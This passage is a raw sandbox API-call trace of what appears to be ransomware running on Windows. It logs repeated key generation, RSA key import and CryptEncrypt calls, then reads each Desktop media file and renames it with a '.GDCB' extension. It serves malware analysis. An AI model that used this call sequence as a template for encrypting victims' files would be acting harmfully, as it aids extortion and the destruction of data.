GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.137] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.137] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.137] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.137] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.138] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.138] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.138] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.138] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.138] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0137.140] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32aaf0) returned 1 [0137.140] CryptGetKeyParam (in: hKey=0x32aaf0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.140] CryptEncrypt (in: hKey=0x32aaf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.141] GetLastError () returned 0x0 [0137.141] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.141] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.142] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32b030) returned 1 [0137.143] CryptGetKeyParam (in: hKey=0x32b030, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.143] CryptEncrypt (in: hKey=0x32b030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.143] GetLastError () returned 0x0 [0137.143] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.143] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\HkP-y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\hkp-y.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.143] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.144] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.144] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x2a1a, lpOverlapped=0x0) returned 1 [0137.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2a20, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.160] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\HkP-y.wav" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\hkp-y.wav"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\HkP-y.wav.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\hkp-y.wav.gdcb")) returned 1 [0137.161] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.162] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.162] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.162] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.162] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.162] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0137.162] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.163] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.163] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.163] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0137.163] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.165] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32ac30) returned 1 [0137.165] CryptGetKeyParam (in: hKey=0x32ac30, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.165] CryptEncrypt (in: hKey=0x32ac30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.166] GetLastError () returned 0x0 [0137.166] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.166] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.168] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32acb0) returned 1 [0137.168] CryptGetKeyParam (in: hKey=0x32acb0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.168] CryptEncrypt (in: hKey=0x32acb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.169] GetLastError () returned 0x0 [0137.169] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.169] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\jdhLD2CDd5WY7.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\jdhld2cdd5wy7.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.169] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.169] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.169] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x13cd3, lpOverlapped=0x0) returned 1 [0137.182] VirtualAlloc (lpAddress=0x0, dwSize=0x13ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.190] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\jdhLD2CDd5WY7.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\jdhld2cdd5wy7.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\jdhLD2CDd5WY7.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\jdhld2cdd5wy7.avi.gdcb")) returned 1 [0137.191] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0137.192] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.192] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.192] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.192] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.192] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.193] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.193] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.193] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecca0) returned 1 [0137.195] CryptImportKey (in: hProv=0x2ecca0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32ad70) returned 1 [0137.195] CryptGetKeyParam (in: hKey=0x32ad70, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.195] CryptEncrypt (in: hKey=0x32ad70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.196] GetLastError () returned 0x0 [0137.196] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0137.196] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.199] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32adb0) returned 1 [0137.199] CryptGetKeyParam (in: hKey=0x32adb0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.199] CryptEncrypt (in: hKey=0x32adb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.199] GetLastError () returned 0x0 [0137.199] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.199] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\jNjLs50IkyF.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\jnjls50ikyf.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.199] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.200] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.200] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x9276, lpOverlapped=0x0) returned 1 [0137.212] VirtualAlloc (lpAddress=0x0, dwSize=0x9280, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.218] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\jNjLs50IkyF.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\jnjls50ikyf.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\jNjLs50IkyF.gif.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\jnjls50ikyf.gif.gdcb")) returned 1 [0137.220] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed0e0) returned 1 [0137.221] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.221] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.221] CryptGenRandom (in: hProv=0x2ed0e0, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.221] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0137.221] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0137.222] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.222] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.222] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.222] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.222] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0137.225] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32aeb0) returned 1 [0137.225] CryptGetKeyParam (in: hKey=0x32aeb0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.225] CryptEncrypt (in: hKey=0x32aeb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.225] GetLastError () returned 0x0 [0137.225] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0137.225] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.228] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a730) returned 1 [0137.228] CryptGetKeyParam (in: hKey=0x32a730, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.228] CryptEncrypt (in: hKey=0x32a730, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.228] GetLastError () returned 0x0 [0137.228] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.228] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kahnQObJzadjF7L.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kahnqobjzadjf7l.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.228] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.229] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.229] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x9980, lpOverlapped=0x0) returned 1 [0137.241] VirtualAlloc (lpAddress=0x0, dwSize=0x9980, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.248] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kahnQObJzadjF7L.png" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kahnqobjzadjf7l.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\kahnQObJzadjF7L.png.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\kahnqobjzadjf7l.png.gdcb")) returned 1 [0137.249] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.250] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.250] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.250] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.250] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.250] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.251] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.251] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.251] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.251] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.251] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.254] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a930) returned 1 [0137.254] CryptGetKeyParam (in: hKey=0x32a930, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.254] CryptEncrypt (in: hKey=0x32a930, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.254] GetLastError () returned 0x0 [0137.254] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.254] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecfd0) returned 1 [0137.256] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a330) returned 1 [0137.257] CryptGetKeyParam (in: hKey=0x32a330, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.257] CryptEncrypt (in: hKey=0x32a330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.257] GetLastError () returned 0x0 [0137.257] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0137.257] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lvsyP1X4kac5-oJ4Il.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lvsyp1x4kac5-oj4il.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.257] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.258] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.258] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x6476, lpOverlapped=0x0) returned 1 [0137.271] VirtualAlloc (lpAddress=0x0, dwSize=0x6480, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.276] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lvsyP1X4kac5-oJ4Il.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lvsyp1x4kac5-oj4il.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\lvsyP1X4kac5-oJ4Il.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\lvsyp1x4kac5-oj4il.mp4.gdcb")) returned 1 [0137.278] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0137.278] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.278] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.278] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.278] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.278] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecca0) returned 1 [0137.279] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.279] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.279] CryptGenRandom (in: hProv=0x2ecca0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0137.279] CryptReleaseContext (hProv=0x2ecca0, dwFlags=0x0) returned 1 [0137.279] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.281] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a870) returned 1 [0137.281] CryptGetKeyParam (in: hKey=0x32a870, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.281] CryptEncrypt (in: hKey=0x32a870, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0137.281] GetLastError () returned 0x0 [0137.282] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.282] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0137.283] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x32a5f0) returned 1 [0137.283] CryptGetKeyParam (in: hKey=0x32a5f0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0137.283] CryptEncrypt (in: hKey=0x32a5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0137.284] GetLastError () returned 0x0 [0137.284] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0137.284] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RO4EO80gDGY.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ro4eo80gdgy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0137.284] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2890000 [0137.284] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x28a0000 [0137.284] ReadFile (in: hFile=0x4e8, lpBuffer=0x28a0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x28a0000*, lpNumberOfBytesRead=0x285f4d0*=0x18aa4, lpOverlapped=0x0) returned 1 [0137.294] VirtualAlloc (lpAddress=0x0, dwSize=0x18ab0, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0137.299] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RO4EO80gDGY.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ro4eo80gdgy.bmp"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RO4EO80gDGY.bmp.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\ro4eo80gdgy.bmp.gdcb")) returned 1 [0137.301] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0137.301] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0137.301] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0137.301] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0137.301] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0137.301] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: 